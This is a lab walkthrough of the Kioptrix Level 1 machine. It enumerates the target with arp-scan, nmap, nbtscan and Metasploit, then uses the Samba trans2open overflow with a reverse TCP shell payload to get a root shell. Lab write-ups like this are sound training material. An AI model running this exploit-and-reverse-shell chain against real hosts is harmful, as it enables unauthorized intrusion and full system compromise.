

# Host discovery:

*arp-scan -l*

```
root@kali: ~/idiot/kioptrix_l1 83x61
(root@kali)-[~/idiot/kioptrix_l1]
# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:50:56:21:3b:5a, IPv4: 192.74.3.105
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.74.3.8      84:16:f9:ad:6e:3a      TP-LINK TECHNOLOGIES CO.,LTD.
192.74.3.104   94:e9:79:c1:ea:ad      Liteon Technology Corporation
192.74.3.111   00:50:56:35:21:3c      VMware, Inc.
192.74.3.100   54:92:09:ef:e0:f8      HUAWEI TECHNOLOGIES CO.,LTD
192.74.3.103   90:e4:68:1e:01:26      (Unknown)

5 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.107 seconds (121.50 hosts/sec). 5 re
sponded
```

# NMAP Report:

*nmap -A -sC -sV -o nmp2 192.74.3.111*

-A: Enable OS detection, version detection, script scanning, and traceroute

-sV: Probe open ports to determine service/version info

-sC: equivalent to --script=default

```
(root@kali)-[~/idiot]
# nmap -A -sC -sV -o nmp2 192.74.3.111
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-12 13:47 EDT
Nmap scan report for 192.74.3.111
Host is up (0.00043s latency).
Not shown: 994 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey:
|   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
|   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_  1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_sshv1: Server supports SSHv1
80/tcp    open  http         Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
|_ http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
```

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-12 13:47 EDT

Nmap scan report for 192.74.3.111

Host is up (0.00043s latency).

Not shown: 994 closed tcp ports (reset)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)

| ssh-hostkey:

| 1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)

| 1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)

|\_ 1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)

|\_sshv1: Server supports SSHv1

80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod\_ssl/2.8.4  
OpenSSL/0.9.6b)

|\_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod\_ssl/2.8.4  
OpenSSL/0.9.6b

| http-methods:

|\_ Potentially risky methods: TRACE

|\_http-title: Test Page for the Apache Web Server on Red Hat Linux

111/tcp open rpcbind 2 (RPC #100000)

| rpcinfo:

| program version port/proto service

| 100000 2 111/tcp rpcbind

| 100000 2 111/udp rpcbind

| 100024 1 1024/tcp status

|\_ 100024 1 1024/udp status

139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)

443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod\_ssl/2.8.4  
OpenSSL/0.9.6b

| sslv2:

| SSLv2 supported

| ciphers:

| SSL2\_RC4\_128\_WITH\_MD5

| SSL2\_RC2\_128\_CBC\_EXPORT40\_WITH\_MD5

| SSL2\_RC2\_128\_CBC\_WITH\_MD5

| SSL2\_RC4\_64\_WITH\_MD5

| SSL2\_DES\_64\_CBC\_WITH\_MD5

| SSL2\_RC4\_128\_EXPORT40\_WITH\_MD5

|\_ SSL2\_DES\_192\_EDE3\_CBC\_WITH\_MD5

| ssl-cert: Subject:

commonName=localhost.localdomain/organizationName=SomeOrganization/  
stateOrProvinceName=SomeState/countryName=--

| Not valid before: 2009-09-26T09:32:06

|\_Not valid after: 2010-09-26T09:32:06

|\_http-title: 400 Bad Request

|\_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod\_ssl/2.8.4  
OpenSSL/0.9.6b

|\_ssl-date: 2025-04-12T17:49:34+00:00; +1m51s from scanner time.

1024/tcp open status 1 (RPC #100024)

MAC Address: 00:50:56:35:21:3C (VMware)

Device type: general purpose

Running: Linux 2.4.X

OS CPE: cpe:/o:linux:linux\_kernel:2.4

OS details: Linux 2.4.9 - 2.4.18 (likely embedded)

Network Distance: 1 hop

Host script results:

|\_smb2-time: Protocol negotiation failed (SMB2)

|\_nbstat: NetBIOS name: KLOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC:  
<unknown> (unknown)

|\_clock-skew: 1m50s

TRACEROUTE

HOP	RTT	ADDRESS
-----	-----	---------

1	0.43 ms	192.74.3.111
---	---------	--------------

OS and Service detection performed. Please report any incorrect results at  
<https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 25.51 seconds

# Nbtscan:

NBTscan is a program for scanning IP networks for NetBIOS name information. It sends NetBIOS status query to each address in supplied range and lists received information in human readable form. For each responded host it lists IP address, NetBIOS computer name, logged-in user name and MAC address (such as Ethernet).

```
nbtscan 192.74.3.111
```

```
(root@kali)-[~/idiot/kioptrix_l1]
# nbtscan 192.74.3.111
Doing NBT name scan for addresses from 192.74.3.111
```

IP address	NetBIOS Name	Server	User	MAC address
192.74.3.111	KIOPTRIX	<server>	KIOPTRIX	00:00:00:00:00:00

```
(root@kali)-[~/idiot/kioptrix_l1]
#
```

## Metasploit:

*msfconsole -q*

```
(root@kali)-[~/Desktop/box/kiooptrix_l1]
# msfconsole -q
```

*search smb\_v*

*use 0*

*show options*

```
msf6 > search smb_v

Matching Modules
=====

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  auxiliary/scanner/smb/smb_version        .              normal No      SMB Version Detection

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/smb/smb_version

msf6 > use 0
msf6 auxiliary(scanner/smb/smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version):

Name      Current Setting  Required  Description
-----
RHOSTS    -                yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     445              no        The target port (TCP)
THREADS   1                yes       The number of concurrent threads (max one per host)

View the full module info with the info, or info -d command.
```

*set rhost 192.74.3.111*

*run*

```
msf6 auxiliary(scanner/smb/smb_version) > set rhost 192.74.3.111
rhost => 192.74.3.111
msf6 auxiliary(scanner/smb/smb_version) > run
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.16/lib/recog/f
aced with '*' in regular expression
[*] 192.74.3.111:139 - Host could not be identified: Unix (Samba 2.2.1a)
[*] 192.74.3.111 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_version) >
```

**Samba 2.2.1a**



Rapid7

<https://www.rapid7.com/modules/exploit/samba/>

## Samba trans2open Overflow (Linux x86)

May 30, 2018 — This **exploits** the buffer overflow found in **Samba** versions **2.2.0** to **2.2.8**. This particular module is capable of **exploiting** the flaw on x86 Linux systems.



Exploit-DB

<https://www.exploit-db.com/exploits/>

## Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

```
1 msf > use exploit/linux/samba/trans2open
2 msf exploit(trans2open) > show targets
3     ...targets...
4 msf exploit(trans2open) > set TARGET < target-id >
5 msf exploit(trans2open) > show options
6     ...show and set options...
7 msf exploit(trans2open) > exploit
```



search trans2open

use 1

set payload generic/shell\_reverse\_tcp

show options

```
msf6 > search trans2open

Matching Modules
=====

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  exploit/freebsd/samba/trans2open          2003-04-07      great No     Samba trans2open Overflow (*BSD x86)
1  exploit/linux/samba/trans2open            2003-04-07      great No     Samba trans2open Overflow (Linux x86)
2  exploit/osx/samba/trans2open              2003-04-07      great No     Samba trans2open Overflow (Mac OS X PPC)
3  exploit/solaris/samba/trans2open          2003-04-07      great No     Samba trans2open Overflow (Solaris SPARC)
4  \_ target: Samba 2.2.x - Solaris 9 (sun4u) - Bruteforce . . .
5  \_ target: Samba 2.2.x - Solaris 7/8 (sun4u) - Bruteforce . . .

Interact with a module by name or index. For example info 5, use 5 or use exploit/solaris/samba/trans2open
After interacting with a module you can manually set a TARGET with set TARGET 'Samba 2.2.x - Solaris 7/8 (sun4u) - Bruteforce'

msf6 > use 1
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/samba/trans2open) > set p
set password          set payloaduidseed      set prependfork          set prependsetreuid      set proxies
set payload            set payloaduidtracking   set prependsetgid        set prependsetuid
set payloadprocesscommandline set pingbackretries     set prependsetregid      set prompt
set payloaduidname     set pingbacksleep       set prependsetresgid     set promptchar linux/samba/trans2open
set payloaduidraw      set prependchrootbreak   set prependsetresuid     set prompttimeformat
msf6 exploit(linux/samba/trans2open) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf6 exploit(linux/samba/trans2open) > show options

Module options (exploit/linux/samba/trans2open):

Name      Current Setting  Required  Description
----      -
RHOSTS    192.74.3.105    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     4444             yes       The target port (TCP)

Payload options (generic/shell_reverse_tcp):

Name      Current Setting  Required  Description
----      -
LHOST     192.74.3.105    yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:

Id  Name
--  -
0   Samba 2.2.x - Bruteforce
```

set rhosts 192.74.3.111

run

whoami



```
msf6 exploit(linux/samba/trans2open) > set rhosts 192.74.3.111
rhosts => 192.74.3.111
msf6 exploit(linux/samba/trans2open) > run
[*] Started reverse TCP handler on 192.74.3.105:4444
[*] 192.74.3.111:139 - Trying return address 0xbffffdfc...
[*] 192.74.3.111:139 - Trying return address 0xbffffcfc...
[*] 192.74.3.111:139 - Trying return address 0xbffffbfc...
[*] 192.74.3.111:139 - Trying return address 0xbffffafc...
[*] 192.74.3.111:139 - Trying return address 0xbffff9fc...
[*] 192.74.3.111:139 - Trying return address 0xbffff8fc...
[*] 192.74.3.111:139 - Trying return address 0xbffff7fc...
[*] 192.74.3.111:139 - Trying return address 0xbffff6fc...
[*] Command shell session 1 opened (192.74.3.105:4444 -> 192.74.3.111:1025) at 2025-04-12 10:18:14 -0400

[*] Command shell session 2 opened (192.74.3.105:4444 -> 192.74.3.111:1026) at 2025-04-12 10:18:15 -0400
[*] Command shell session 3 opened (192.74.3.105:4444 -> 192.74.3.111:1027) at 2025-04-12 10:18:17 -0400
[*] Command shell session 4 opened (192.74.3.105:4444 -> 192.74.3.111:1028) at 2025-04-12 10:18:18 -0400

whoami
root
```